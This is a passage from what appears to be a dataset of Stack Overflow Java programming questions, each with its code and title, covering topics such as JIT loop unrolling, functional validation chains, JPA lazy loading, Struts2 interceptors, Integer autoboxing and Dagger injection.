specific instance ( for which it knows that the number of filters is always 2 ) ? Update : got an answer that JITC works only on a class level . OK , got it.Ideally , I would like to receive an answer from someone with a deep understanding of how JITC works . Benchmark run details : Tried on latest versions of Java 8 OpenJDK and Oracle HotSpot , the results are similarUsed Java flags : -Xmx4g -Xms4g -server -Xbatch -XX : CICompilerCount=2 ( got similar results without the fancy flags as well ) By the way , I get similar run time ratio if I simply run it several billion times in a loop ( not via JMH ) , i.e . the second snippet is always clearly fasterTypical benchmark output : Benchmark ( filterIndex ) Mode Cnt Score Error Units LoopUnrollingBenchmark.runBenchmark 0 avgt 400 44.202 ± 0.224 ns/op LoopUnrollingBenchmark.runBenchmark 1 avgt 400 38.347 ± 0.063 ns/op ( The first line corresponds to the first snippet , the second line - to the second . Complete benchmark code :","boolean isOK ( int i ) { for ( int j = 0 ; j < filters.length ; ++j ) { if ( ! filters [ j ] .isOK ( i ) ) { return false ; } } return true ; } boolean isOK ( int i ) { return filters [ 0 ] .isOK ( i ) & & filters [ 1 ] .isOK ( i ) ; } public class LoopUnrollingBenchmark { @ State ( Scope.Benchmark ) public static class BenchmarkData { public Filter [ ] filters ; @ Param ( { `` 0 '' , `` 1 '' } ) public int filterIndex ; public int num ; @ Setup ( Level.Invocation ) //similar ratio with Level.TRIAL public void setUp ( ) { filters = new Filter [ ] { new FilterChain1 ( ) , new FilterChain2 ( ) } ; num = new Random ( ) .nextInt ( ) ; } } @ Benchmark @ Fork ( warmups = 5 , value = 20 ) @ BenchmarkMode ( Mode.AverageTime ) @ OutputTimeUnit ( TimeUnit.NANOSECONDS ) public int runBenchmark ( BenchmarkData data ) { Filter filter = data.filters [ data.filterIndex ] ; int sum = 0 ; int num = data.num ; if ( filter.isOK ( num ) ) { ++sum ; } if ( filter.isOK ( num + 1 ) ) { ++sum ; } if ( filter.isOK ( num - 1 ) ) { ++sum ; } if ( filter.isOK ( num * 2 ) ) { ++sum ; } if ( filter.isOK ( num * 3 ) ) { ++sum ; } if ( filter.isOK ( num * 5 ) ) { ++sum ; } return sum ; } interface Filter { boolean isOK ( int i ) ; } static class Filter1 implements Filter { @ Override public boolean isOK ( int i ) { return i % 3 == 1 ; } } static class Filter2 implements Filter { @ Override public boolean isOK ( int i ) { return i % 7 == 3 ; } } static class FilterChain1 implements Filter { final Filter [ ] filters = createLeafFilters ( ) ; @ Override public boolean isOK ( int i ) { for ( int j = 0 ; j < filters.length ; ++j ) { if ( ! filters [ j ] .isOK ( i ) ) { return false ; } } return true ; } } static class FilterChain2 implements Filter { final Filter [ ] filters = createLeafFilters ( ) ; @ Override public boolean isOK ( int i ) { return filters [ 0 ] .isOK ( i ) & & filters [ 1 ] .isOK ( i ) ; } } private static Filter [ ] createLeafFilters ( ) { Filter [ ] filters = new Filter [ 2 ] ; filters [ 0 ] = new Filter1 ( ) ; filters [ 1 ] = new Filter2 ( ) ; return filters ; } public static void main ( String [ ] args ) throws Exception { org.openjdk.jmh.Main.main ( args ) ; } }",Java : manually-unrolled loop is still faster than the original loop . Why ? +Java,"I have a set of functions ( rules ) for validation which take a context as parameter and either return `` Okay '' or an `` Error '' with a message . Basically these could return a Maybe ( Haskell ) / Optional ( Java ) type.In the following I would like to validate properties of a Fruit ( the context ) and return an error message if the validation failed , otherwise `` Okay '' /Nothing.Note : I would prefer a solution that is purely functional style and stateless/immutable . It is a bit of a Kata , actually.For my experiments I used Kotlin , but the core problem also applies to any language that supports higher order functions ( such as Java and Haskell ) .You can find a link to the full source code here and the same at the very bottom.Given a Fruit class with color and weight , plus some example rules : Now I would like to chain the rule evaluation using a reference to the respective function , without specifying the context as an argument using a FruitRuleProcessor.When processing a rule fails , it should not evaluate any of the other rules.For Example : I do not care where it failed , only about the result . Also when a function returns an error , the others should not be processed.Again , this pretty much sounds like an Optional Monad.Now the problem is that somehow I have to carry the fruit context from check to check call.One solution I tried is to implement a Result class that takes a context as value and has two subclasses RuleError ( context : Fruit , message : String ) and Okay ( context ) . The difference to Optional is that now I can wrap around the Fruit context ( think T = Fruit ) I think that this looks like a monoid/Monad , with return in the constructor lifting a Fruit into a Result and or being the bind . Although I tried some Scala and Haskell , admittedly I am not so experienced with that.Now we can change the rules towhich allows to chain checks like intended : // Prints : Fruit not redToo heavyHowever this has one major drawback : The Fruit context now becomes part of the validation result , although it is not strictly necessary in there.So to wrap it up : I 'm looking for a wayto carry the fruit context when invoking the functions so that I can chain ( basically : compose ) multiple checks in a row using the the same methodalong with the results of the rule functions without changing the interface of these.without side-effectsWhat functional programming patterns could solve this problem ? Is it Monads as my gut feeling tries to tell me that ? I would prefer a solution that can be done in Kotlin or Java 8 ( for bonus points ) , but answers in other languages ( e.g . Scala or Haskell ) also could be helpful . ( It 's about the concept , not the language : ) ) You can find the full source code from this question in this fiddle .","data class Fruit ( val color : String , val weight : Int ) fun theFruitIsRed ( fruit : Fruit ) : Optional < String > = if ( fruit.color == `` red '' ) Optional.empty ( ) else Optional.of ( `` Fruit not red '' ) fun fruitNotTooHeavy ( fruit : Fruit ) : Optional < String > = if ( fruit.weight < 500 ) Optional.empty ( ) else Optional.of ( `` Too heavy '' ) fun checkRules ( fruit : Fruit ) { var res = FruitRuleProcessor ( fruit ) .check ( : :theFruitIsNotRed ) .check ( : :notAnApple ) .getResult ( ) if ( ! res.isEmpty ( ) ) println ( res.get ( ) ) } def main ( args : Array < String ) { // `` Fruit not red '' : The fruit has the wrong color and the weight check is thus skipped checkRules ( Fruit ( `` green '' , '' 200 '' ) ) // Prints `` Fruit too heavy '' : Color is correct , checked weight ( too heavy ) checkRules ( Fruit ( `` red '' , '' 1000 '' ) ) } // T : Type of the context . I tried to generify this a bit.sealed class Result < T > ( private val context : T ) { fun isError ( ) = this is RuleError fun isOkay ( ) = this is Okay // bind infix fun check ( f : ( T ) - > Result < T > ) : Result < T > { return if ( isError ( ) ) this else f ( context ) } class RuleError < T > ( context : T , val message : String ) : Result < T > ( context ) class Okay < T > ( context : T ) : Result < T > ( context ) } fun theFruitIsNotTooHeavy ( fruit : Fruit ) : Result < Fruit > = if ( fruit.weight < 500 ) Result.Okay ( fruit ) else Result.RuleError ( fruit , `` Too heavy '' ) fun theFruitIsRed ( fruit : Fruit ) : Result < Fruit > = if ( fruit.color == `` red '' ) Result.Okay ( fruit ) else Result.RuleError ( fruit , `` Fruit not red '' ) fun checkRules ( fruit : Fruit ) { val res = Result.Okay ( fruit ) .check ( : :theFruitIsRed ) .check ( : :theFruitIsNotTooHeavy ) if ( res.isError ( ) ) println ( ( res as Result.RuleError ) .message ) }",Functional programming : How to carry on the context for a chain of validation rules +Java,"I was fooling around with how I could set up my encapsulation.But my program is executing in an unexpected order . Here is my rather simple code : The `` Main '' : '' Debug '' : And lastly , `` Output '' : And the expected output would be : Printed with black font : b = `` true '' Printed with red font : b = `` true '' SUPPOSED to be inbetween ... Printed with black font : HelloPrinted with red font : HowdieBut is instead out of the expected order , like this : Printed with black font : b = `` true '' SUPPOSED to be inbetween ... Printed with black font : HelloPrinted with red font : b = `` true '' Printed with red font : HowdieWhat 's happening ? EDIT : Sometimes the `` Supposed to be in between '' message moves around . Without me changing the code .","package research.debug ; public class Main { public static void main ( String [ ] args ) { Boolean b = Boolean.TRUE ; Debug.black.printVariable ( b , `` b '' ) ; Debug.red.printVariable ( b , `` b '' ) ; System.out.println ( `` SUPPOSED to be inbetween ... '' ) ; Debug.black.println ( `` Hello '' ) ; Debug.red.println ( `` Howdie '' ) ; } } package research.debug ; public class Debug { public static final Output black = new Output ( Output.BLACK ) ; public static final Output red = new Output ( Output.RED ) ; } package research.debug ; public class Output { public static final int BLACK = 0 ; public static final int RED = 1 ; private int outputMode = 0 ; public Output ( int outputMode ) { this.outputMode = outputMode ; } public void println ( String msg ) { if ( outputMode == Output.BLACK ) { System.out.println ( `` Printed with black font : `` + msg ) ; } else { System.err.println ( `` Printed with red font : `` + msg ) ; } } public void printVariable ( Object variable , String variableName ) { println ( variableName + `` = \ '' '' + variable + `` \ '' '' ) ; } }",Program execution is non sequential . Why ? +Java,"So I 'm getting the error : `` CAN NOT REFER TO A NON-FINAL VARIABLE ROLE INSIDE AN INNERCLASS DEFINED IN A DIFFERENT METHOD '' . I want to be able to set the string roletype to whatever get 's selected in that Dropdown . How can I do this if not in the way I 'm trying below , or am I simply making some stupid error in the code I 'm trying ? Thanks , Ravin","import java.awt . * ; import java.awt.event . * ; import java.util . * ; import javax.swing . * ; import javax.swing . * ; import javax.swing.event . * ; public class Funclass extends JFrame { FlowLayout layout = new FlowLayout ( ) ; String [ ] skillz = { `` Analytical '' , `` Numerical '' , `` Leadership '' , `` Communication '' , `` Organisation '' , `` Interpersonal '' } ; String [ ] rolez = { `` Developer '' , `` Sales '' , `` Marketing '' } ; String [ ] Industries = { `` Consulting '' , `` Tech '' } ; String R1 , R2 , R3 , R4 , roletype ; public Funclass ( ) { super ( `` Input Interface '' ) ; setLayout ( layout ) ; JTextField Company = new JTextField ( `` Company Name '' ) ; JComboBox TYPE = new JComboBox ( Industries ) ; JList skills = new JList ( skillz ) ; JComboBox role = new JComboBox ( rolez ) ; skills.setSelectionMode ( ListSelectionModel.MULTIPLE_INTERVAL_SELECTION ) ; add ( TYPE ) ; add ( skills ) ; add ( role ) ; add ( Company ) ; ROLE.addItemListener ( new ItemListener ( ) { public void itemStateChanged ( ItemEvent event ) { if ( event.getStateChange ( ) == ItemEvent.SELECTED ) { roletype = rolez [ role.getSelectedIndex ( ) ] ; } } } ) ; } }",Can not refer/modify non-final variable in an innerclass +Java,"When constructing a HashSetand a LinkedHashSet from a collection , the initialCapacity is set to different values in the default implementation.HashSet : LinkedHashSet : I 'm sure there is a perfectly valid reason for this , but I fail to see it .","public HashSet ( Collection < ? extends E > c ) { map = new HashMap < > ( Math.max ( ( int ) ( c.size ( ) /.75f ) + 1 , 16 ) ) ; addAll ( c ) ; } public LinkedHashSet ( Collection < ? extends E > c ) { super ( Math.max ( 2*c.size ( ) , 11 ) , .75f , true ) ; addAll ( c ) ; }",Different default 'initialCapacity ' HashSet and LinkedHashSet +Java,"Today I 've encountered the following problem , to which I ca n't seem to find a solution : So it seemed logical to me that the variable ' i ' must have the value 4 now , since we assigned the increment of ' k ' to it . In the multiple choice test , the correct values after the third line were instead : andSince we assigned the increment of k to i , how come the given solution is the exact opposite to what I had expected ? Thanks in advance !","int i , j , k ; i = j = k = 3 ; i = k++ ; k = 4 i ! = 4",Assignment gives unexpected answer +Java,"lately I experimented a little with JPA to try to understand the whole framework a little more . I am using Eclipselink as JPA provider.I have two entities with a @ OneToMany relationship ( one person has many addresses ) that is lazy loaded . When I load a person entity , detach it and then try to access the ( not loaded ) addresses ... it works as a charm . When debugging I can see that a database query is executed when executing the size ( ) method of the address list.I do not understand why that works . I would expect some kind of exception . I have read quite a few about jpa and the like in the last days ( i. e. this link ) but everything pointed me to the conclusion that it should not work.Can anyone please explain why that works ? The resulting log would be","@ Statelesspublic class Test { @ PersistenceContext ( unitName= '' TestPU '' ) EntityManager em ; public void test ( ) { Person person = em.find ( Person.class , 1 ) ; System.out.println ( person ) ; System.out.println ( `` em.contains ( person ) : `` + em.contains ( person ) ; em.detach ( person ) ; System.out.println ( `` em.contains ( person ) : `` + em.contains ( person ) ; person.getAddresses ( ) .size ( ) ; System.out.println ( `` em.contains ( person ) : `` + em.contains ( person ) ; System.out.println ( person ) ; } } DEBUG : SELECT ... from PERSON WHERE ( id = ? ) Person { id=1 , name=Test , addresses= { IndirectList : not instantiated } } em.contains ( person ) : trueem.contains ( person ) : falseDEBUG : SELECT ... FROM ADDRESSES where ( address_fk = ? ) em.contains ( person ) : falsePerson { id=1 , name=Test , addresses= { [ Address { id=10 , city=Testcity } ] } }",JPA call method on lazy ( not loaded ) collection when detached not working as expected in Eclipselink +Java,"I 've been trying to optimize some of my code , and ive reached a strange conclusion regarding fors.In my testcase ive created a new project with main activity . The activity initializes a List of 500 objects , runs an explicit GC and starts the thread . The thread loops the function doCalculations.this.objects is a list of 500 MyObject , previous is MyObject , value is int . The function logics hold no logic , they are just there to do stuff . The difference is in the inner for.function1function 2With function 2 GC is called every ~10 secs on my nexus s , freeing ~1.7MB.With function 1 GC is never to be seen.Why is that ?",public void doCalculations ( ) { for ( MyObject o : this.objects ) for ( int i=0 ; i < this.objects.size ( ) ; i++ ) if ( this.objects.get ( i ) == o ) o.value = this.objects.get ( i ) .value ; } public void doCalculations ( ) { for ( MyObject o : this.objects ) for ( MyObject o2 : this.objects ) if ( o2 == o ) o.value = o2.value ; },GC optimization : for vs foreach +Java,I am interested to know if there is any convention for naming custom interceptor in struts2 for the auto detection of interceptors like there are for the action classes . I am using `` struts2-convention-plugin-2.3.24.1.jar '' .The Package structure is as followThe code runs perfect without `` struts.xml '' and without `` custInterceptor '' . The action is automatically detected by the struts2-convention-plugin.As soon as i attach the interceptor withi get the error as shown below.The files are as followhello.jspHelloAction.javacustInterceptor.javaI get the following error :,"ProtienTracker > Java Resources > src > com.nagarro.actions > HelloAction.java > com.nagarro.interceptors > custInterceptor.java > WebContent > META_INF > WEB_INF > content > hello.jsp > lib > web.xml @ org.apache.struts2.convention.annotation.Action ( value= '' hello '' , interceptorRefs= @ InterceptorRef ( `` custInterceptor '' ) ) < % @ page language= '' java '' contentType= '' text/html ; charset=ISO-8859-1 '' pageEncoding= '' ISO-8859-1 '' % > < % @ taglib prefix= '' s '' uri= '' /struts-tags '' % > < ! DOCTYPE html PUBLIC `` -//W3C//DTD HTML 4.01 Transitional//EN '' `` http : //www.w3.org/TR/html4/loose.dtd '' > < html > < head > < meta http-equiv= '' Content-Type '' content= '' text/html ; charset=ISO-8859-1 '' > < title > Hello < /title > < /head > < body > < h1 > < s : property value= '' greeting '' / > < /h1 > < p > hi < /p > < /body > < /html > package com.nagarro.actions ; import com.opensymphony.xwork2.Action ; import org.apache.struts2.convention.annotation.InterceptorRef ; import org.apache.struts2.convention.annotation.Result ; public class HelloAction implements Action { private String greeting= '' ab '' ; @ Override @ org.apache.struts2.convention.annotation.Action ( value= '' hello '' , interceptorRefs= @ InterceptorRef ( `` custInterceptor '' ) ) public String execute ( ) throws Exception { setGreeting ( `` Hello Structs 2 '' ) ; return `` success '' ; } public String getGreeting ( ) { return greeting ; } public void setGreeting ( String greeting ) { this.greeting = greeting ; } } package com.nagarro.interceptors ; import com.opensymphony.xwork2.ActionInvocation ; import com.opensymphony.xwork2.interceptor.Interceptor ; public class custInterceptor implements Interceptor { private static final long serialVersionUID = 1L ; @ Override public void destroy ( ) { System.out.println ( `` custInterceptor destroy ( ) is called ... '' ) ; } @ Override public void init ( ) { System.out.println ( `` custInterceptor init ( ) is called ... '' ) ; } @ Override public String intercept ( ActionInvocation invocation ) throws Exception { System.out.println ( `` custInterceptor intercept ( ) is called ... '' ) ; System.out.println ( invocation.getAction ( ) .getClass ( ) .getName ( ) ) ; return invocation.invoke ( ) ; } } Caused by : Unable to find interceptor class referenced by ref-name custInterceptor - [ unknown location ] at com.opensymphony.xwork2.config.providers.InterceptorBuilder.constructInterceptorReference ( InterceptorBuilder.java:63 ) at org.apache.struts2.convention.DefaultInterceptorMapBuilder.buildInterceptorList ( DefaultInterceptorMapBuilder.java:95 ) at org.apache.struts2.convention.DefaultInterceptorMapBuilder.build ( DefaultInterceptorMapBuilder.java:86 ) at org.apache.struts2.convention.DefaultInterceptorMapBuilder.build ( DefaultInterceptorMapBuilder.java:70 ) at org.apache.struts2.convention.PackageBasedActionConfigBuilder.createActionConfig ( PackageBasedActionConfigBuilder.java:947 ) at org.apache.struts2.convention.PackageBasedActionConfigBuilder.buildConfiguration ( PackageBasedActionConfigBuilder.java:734 ) at org.apache.struts2.convention.PackageBasedActionConfigBuilder.buildActionConfigs ( PackageBasedActionConfigBuilder.java:355 ) at org.apache.struts2.convention.ClasspathPackageProvider.loadPackages ( ClasspathPackageProvider.java:53 ) at com.opensymphony.xwork2.config.impl.DefaultConfiguration.reloadContainer ( DefaultConfiguration.java:274 ) at com.opensymphony.xwork2.config.ConfigurationManager.getConfiguration ( ConfigurationManager.java:67 ) ... 17 more",What naming convention should be used for custom Interceptor class and package in order to avoid struts.xml in Struts2 +Java,"I 've just come across some odd behaviour I would n't expect from an ArrayList < String > in Java . This is coming , for sure , from my poor understanding of references in Java.Let me show you this piece of code : This piece of code provides the following output : How come ? I 've added on purpose two Strings containing the same characters ( `` Two '' ) , but the object itself should n't be the same . What am I misunderstanding here ? I was expecting this other output :",List < String > myList = new ArrayList < > ( ) ; myList.add ( `` One '' ) ; myList.add ( `` Two '' ) ; myList.add ( `` Two '' ) ; myList.add ( `` Three '' ) ; for ( String s : myList ) { System.out.println ( myList.indexOf ( s ) ) ; } 0 1 1 3 0123,indexOf ( ) Strange Java.util.List behaviour with duplicate Strings +Java,"I have a REST endpoint in my application that is protected with EJB security.If user 's session times out web-app does n't know that and if I try to interact with it it gets 403 FORBIDDEN which is completely OK . But in server log this error looks like this : These messages are so long and so useless . I want to replace them in log with something like `` WARN : Unauthorized access '' plus maybe some additional data , but no stack trace . I have no idea how to do it since this message is logged by JBoss.Would appreciate an advice how can I achieve the desired !","@ Path ( `` /somepath '' ) @ Produces ( MediaType.APPLICATION_JSON ) @ Stateless @ SecurityDomain ( `` mydomain '' ) @ RolesAllowed ( { `` user '' } ) public class MyResource extends AbstractResource 14:47:52,682 ERROR [ org.jboss.ejb3.invocation ] ( http -- 127.0.0.1-8080-5 ) JBAS014134 : EJB Invocation failed on component MyResource for method public java.lang.String MyResource.getSupplies ( ) : javax.ejb.EJBAccessException : JBAS014502 : Invocation on method : public java.lang.String MyResource.getSupplies ( ) of bean : MyResource is not allowed at org.jboss.as.ejb3.security.AuthorizationInterceptor.processInvocation ( AuthorizationInterceptor.java:101 ) [ jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final ] at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:288 ) [ jboss-invocation-1.1.1.Final.jar:1.1.1.Final ] at org.jboss.as.ejb3.security.SecurityContextInterceptor.processInvocation ( SecurityContextInterceptor.java:76 ) [ jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final ] at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:288 ) [ jboss-invocation-1.1.1.Final.jar:1.1.1.Final ] at org.jboss.as.ejb3.component.interceptors.LoggingInterceptor.processInvocation ( LoggingInterceptor.java:59 ) [ jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final ] at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:288 ) [ jboss-invocation-1.1.1.Final.jar:1.1.1.Final ] at org.jboss.as.ee.component.NamespaceContextInterceptor.processInvocation ( NamespaceContextInterceptor.java:50 ) [ jboss-as-ee-7.1.1.Final.jar:7.1.1.Final ] at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:288 ) [ jboss-invocation-1.1.1.Final.jar:1.1.1.Final ] at org.jboss.as.ejb3.component.interceptors.AdditionalSetupInterceptor.processInvocation ( AdditionalSetupInterceptor.java:32 ) [ jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final ] at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:288 ) [ jboss-invocation-1.1.1.Final.jar:1.1.1.Final ] at org.jboss.as.ee.component.TCCLInterceptor.processInvocation ( TCCLInterceptor.java:45 ) [ jboss-as-ee-7.1.1.Final.jar:7.1.1.Final ] at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:288 ) [ jboss-invocation-1.1.1.Final.jar:1.1.1.Final ] at org.jboss.invocation.ChainedInterceptor.processInvocation ( ChainedInterceptor.java:61 ) [ jboss-invocation-1.1.1.Final.jar:1.1.1.Final ] at org.jboss.as.ee.component.ViewService $ View.invoke ( ViewService.java:165 ) [ jboss-as-ee-7.1.1.Final.jar:7.1.1.Final ] at org.jboss.as.ee.component.ViewDescription $ 1.processInvocation ( ViewDescription.java:173 ) [ jboss-as-ee-7.1.1.Final.jar:7.1.1.Final ] at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:288 ) [ jboss-invocation-1.1.1.Final.jar:1.1.1.Final ] at org.jboss.invocation.ChainedInterceptor.processInvocation ( ChainedInterceptor.java:61 ) [ jboss-invocation-1.1.1.Final.jar:1.1.1.Final ] at org.jboss.as.ee.component.ProxyInvocationHandler.invoke ( ProxyInvocationHandler.java:72 ) [ jboss-as-ee-7.1.1.Final.jar:7.1.1.Final ] at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) [ rt.jar:1.7.0_55 ] at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:57 ) [ rt.jar:1.7.0_55 ] at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) [ rt.jar:1.7.0_55 ] at java.lang.reflect.Method.invoke ( Method.java:606 ) [ rt.jar:1.7.0_55 ]",Replace EJBAccessException stacktrace logged by JBoss +Java,"Few listings from JCIP already appeared here . Here is one more ( orig . code ) : Comment in book : The condition predicate used by await is more complicated than simply testing isOpen . This is needed because if N threads are waiting at the gate at the time it is opened , they should all be allowed to proceed . But , if the gate is opened and closed in rapid succession , all threads might not be released if await examines only isOpen : by the time all the threads receive the notification , reacquire the lock , and emerge from wait , the gate may have closed again . So ThreadGate uses a somewhat more complicated condition predicate : every time the gate is closed , a `` generation '' counter is incremented , and a thread may pass await if the gate is open now or if the gate has opened since this thread arrived at the gate.Guys , you may laugh , but I ca n't get it : ) . Questions : explain usage of arrivalGeneration == generation to me in terms of thread T1 , T2 , ... and execution flow.why passage says every time the gate is closed , a generation counter is incremented ? How it happens ? Thanks to everybody !",public class ThreadGate { private boolean isOpen ; private int generation ; public synchronized void close ( ) { isOpen = false ; } public synchronized void open ( ) { ++generation ; isOpen = true ; notifyAll ( ) ; } public synchronized void await ( ) throws InterruptedException { int arrivalGeneration = generation ; while ( ! isOpen & & arrivalGeneration == generation ) { wait ( ) ; } } },Java concurrency in practice - Listing 14.9 explanation ? +Java,"I 'm having very interesting problem . I use inAppBrowser and spinner in one of my Android application . Spinner is implemented with ProgressDialog . The problem here is that when I try to open a web page through inAppBrowser and the loading spinner starts loading once the page start to load and then close once it has finished loading the page , when I tap on input field of that page and try to type letters or numbers , it just stays in that so called `` locked '' state . If I type something I ca n't see them , the cursor just keep blinking . To make this even more weird , I 'm able to type special characters . If I tap to any other place around the page , then tap again to that same input field , then it works . Another case when it works is when I put the application into Pause status and then resume it , the input fields works.This problem occurs only in Android platforms of version 5.0.1 and older.The inAppBrowser java file can be found in Github at InAppBrowser java file.My spinner implementation is following : and I show/hide a spinner with following way : What could be the problem here ? Any tips , suggestions would be appreciated .","spinner = new ProgressDialog ( cordova.getActivity ( ) ) ; spinner.setIndeterminate ( false ) ; spinner.setProgressStyle ( ProgressDialog.STYLE_SPINNER ) ; spinner.setCancelable ( false ) ; spinner.setMessage ( cordova.getActivity ( ) .getText ( R.string.spinner_loading ) ) ; spinner.setTitle ( `` '' ) ; @ Overridepublic void onPageStarted ( WebView view , String url , Bitmap favicon ) { super.onPageStarted ( view , url , favicon ) ; //InAppBrowser default code ... . try { JSONObject obj = new JSONObject ( ) ; obj.put ( `` type '' , LOAD_START_EVENT ) ; obj.put ( `` url '' , newloc ) ; sendUpdate ( obj , true ) ; } catch ( JSONException ex ) { Log.d ( LOG_TAG , `` Should never happen '' ) ; } spinner.show ( ) ; } public void onPageFinished ( WebView view , String url ) { super.onPageFinished ( view , url ) ; try { JSONObject obj = new JSONObject ( ) ; obj.put ( `` type '' , LOAD_STOP_EVENT ) ; obj.put ( `` url '' , url ) ; sendUpdate ( obj , true ) ; } catch ( JSONException ex ) { Log.d ( LOG_TAG , `` Should never happen '' ) ; } spinner.hide ( ) ; }",Ca n't type in input field after loading a page with InAppBrowser and spinner loading +Java,O/P for this is : different objects meaningfully equalWhere asProduces Following O/P : same object meaningfully equalI did n't understand why in class T2 if ( i3 ! =i4 ) did n't get triggered I 'm refering SCJP 1.6 but not able to understand.Please help me .,public class T1 { public static void main ( String [ ] args ) { // TODO Auto-generated method stub Integer i1 = 1000 ; Integer i2 = 1000 ; if ( i1 ! = i2 ) System.out.println ( `` different objects '' ) ; if ( i1.equals ( i2 ) ) System.out.println ( `` meaningfully equal '' ) ; } } public class T2 { public static void main ( String [ ] args ) { Integer i3 = 10 ; Integer i4 = 10 ; if ( i3 ! =i4 ) System.out.println ( `` Crap dude ! ! `` ) ; if ( i3 == i4 ) System.out.println ( `` same object '' ) ; if ( i3.equals ( i4 ) ) System.out.println ( `` meaningfully equal '' ) ; } },Autoboxing Unboxing Operator ( ! = ) and ( == ) difference +Java,"This one puzzles me for 3 days . I have an application which needs to evaluate a certain set of integer polynomials ( of multiple args ) which have very few elements . I already have an implementation written in Java and I am currently porting to C++ . During testing , I noticed that the C++ version is orders of magnitudes slower that the Java variant . I know of course about JIT-ing and that this scenario is particulary well-posed for this kind of compilers , but what I see is way off from what I had expected . The sample code is below , you 'll need boost to compile the C++ code ( but that dependency is only required for simple time measurement ) . Apparently , the C++ version ( compiled with clang-3.3 ) runs slightly faster when it comes to pure computational power , but Java ( openjdk 1.7.0.60 ) does much better when the polynomial is interpreted . My guess so far is , that my C++ code is not quite optimal due to the iteration over small ( in the sample 1-element ) vectors . I assume the JVM does much better here when it comes to cache-hits misses . Is there any way to make my C++ version perform better ? Is there a different cause I just did not see ? And as a side note : is there way to measure cache-coherence for a C++ and a Java process ? The C++ code looks like this : The Java version like this :","choeger @ daishi ~/uebb % clang++ -O3 -std=c++11 polytest.cpp -lboost_timer -lboost_systemchoeger @ daishi ~/uebb % ./a.out 0.011694s wall , 0.010000s user + 0.000000s system = 0.010000s CPU ( 85.5 % ) Ideal Result : 1e+07 0.421986s wall , 0.420000s user + 0.000000s system = 0.420000s CPU ( 99.5 % ) Result : 1e+07choeger @ daishi ~/uebb % javac PolyTest.java choeger @ daishi ~/uebb % java PolyTest evals : 10000000 runtime : 17msIdeal Result : 1.0E7evals : 10000000 runtime : 78msResult : 1.0E7 # include < boost/timer/timer.hpp > # include < iostream > # include < vector > using namespace std ; struct Product { int factor ; vector < int > fields ; } ; class SumOfProducts { public : vector < Product > sum ; /** * evaluate the polynomial with arguments separated by width */ inline double eval ( const double* arg , const int width ) const { double res = 0.0 ; for ( Product p : sum ) { double prod = p.factor ; for ( int f : p.fields ) { prod *= arg [ f*width ] ; } res += prod ; } return res ; } ; } ; double idealBenchmark ( const double* arg , const int width ) { boost : :timer : :auto_cpu_timer t ; double res = 0.0 ; // run 10M evaluations for ( long l = 0 ; l < 10000000 ; l++ ) { res = res + arg [ width ] * arg [ width ] ; } return res ; } double benchmark ( const double* arg , const SumOfProducts & poly ) { boost : :timer : :auto_cpu_timer t ; double res = 0.0 ; // run 10M evaluations for ( long l = 0 ; l < 10000000 ; l++ ) { res = res + poly.eval ( arg , 1 ) ; } return res ; } int main ( ) { //simple polynomial : x_1^2 Product p ; p.factor = 1 ; p.fields.push_back ( 1 ) ; p.fields.push_back ( 1 ) ; SumOfProducts poly ; poly.sum.push_back ( p ) ; double arg [ ] = { 0 , 1 } ; double res = idealBenchmark ( arg , 1 ) ; cout < < `` Ideal Result : `` < < res < < endl ; res = benchmark ( arg , poly ) ; cout < < `` Result : `` < < res < < endl ; } public class PolyTest { static class Product { public final int factor ; public final int [ ] fields ; public Product ( int pFactor , int [ ] pFields ) { factor = pFactor ; fields = pFields ; } } static class SumOfProducts { final Product [ ] sum ; public SumOfProducts ( Product [ ] pSum ) { sum = pSum ; } /** * evaluate the polynomial with arguments separated by width */ double eval ( final double [ ] arg , final int width ) { double res = 0.0 ; for ( Product p : sum ) { double prod = p.factor ; for ( int f : p.fields ) { prod *= arg [ f*width ] ; } res += prod ; } return res ; } } static double idealBenchmark ( final double [ ] arg , final int width ) { final long start = System.currentTimeMillis ( ) ; double res = 0.0 ; long evals = 0 ; // run 10M evaluations for ( long l = 0 ; l < 10000000 ; l++ ) { evals++ ; res = res + arg [ width ] * arg [ width ] ; } System.out.println ( `` evals : `` + evals + `` runtime : `` + ( System.currentTimeMillis ( ) - start ) + `` ms '' ) ; return res ; } static double benchmark ( final double [ ] arg , final SumOfProducts poly ) { final long start = System.currentTimeMillis ( ) ; double res = 0.0 ; long evals = 0 ; // run 10M evaluations for ( long l = 0 ; l < 10000000 ; l++ ) { evals++ ; res = res + poly.eval ( arg , 1 ) ; } System.out.println ( `` evals : `` + evals + `` runtime : `` + ( System.currentTimeMillis ( ) - start ) + `` ms '' ) ; return res ; } public static void main ( String [ ] args ) { //simple polynomial : x_1^2 Product p = new Product ( 1 , new int [ ] { 1 , 1 } ) ; SumOfProducts poly = new SumOfProducts ( new Product [ ] { p } ) ; double arg [ ] = { 0 , 1 } ; double res = idealBenchmark ( arg , 1 ) ; System.out.println ( `` Ideal Result : `` + res ) ; res = benchmark ( arg , poly ) ; System.out.println ( `` Result : `` + res ) ; } }",Iteration performance Java vs. C++ +Java,"I Successfully used Qualified field injection construct injection and method injection , i have expect from dagger 2.10 to inject dependency to Qualified method like following code : but when i use this code i get : java.lang.String can not be provided without an @ Inject constructor or from an @ Provides- or @ Produces-annotated method.There is a lot of simple tutorial about dagger in web but all of them are same and i ca n't find any example about Qualified method injection .Why I Want Method Injection ? I prefer method injection over field injection because it is : clear than field injection you can simply set breack point and debug value injected you can assign value injected to private field ... .My Question : Is it possible Qualified method injection in dagger 2 ? or my expect of method injection is wrong ? If it ' a possible , How i can achieve it ? thanks for any advice .",public class MainActivity extends AppCompatActivity { @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; DaggerMainActivityComponent.create ( ) .inject ( this ) ; } @ Named ( 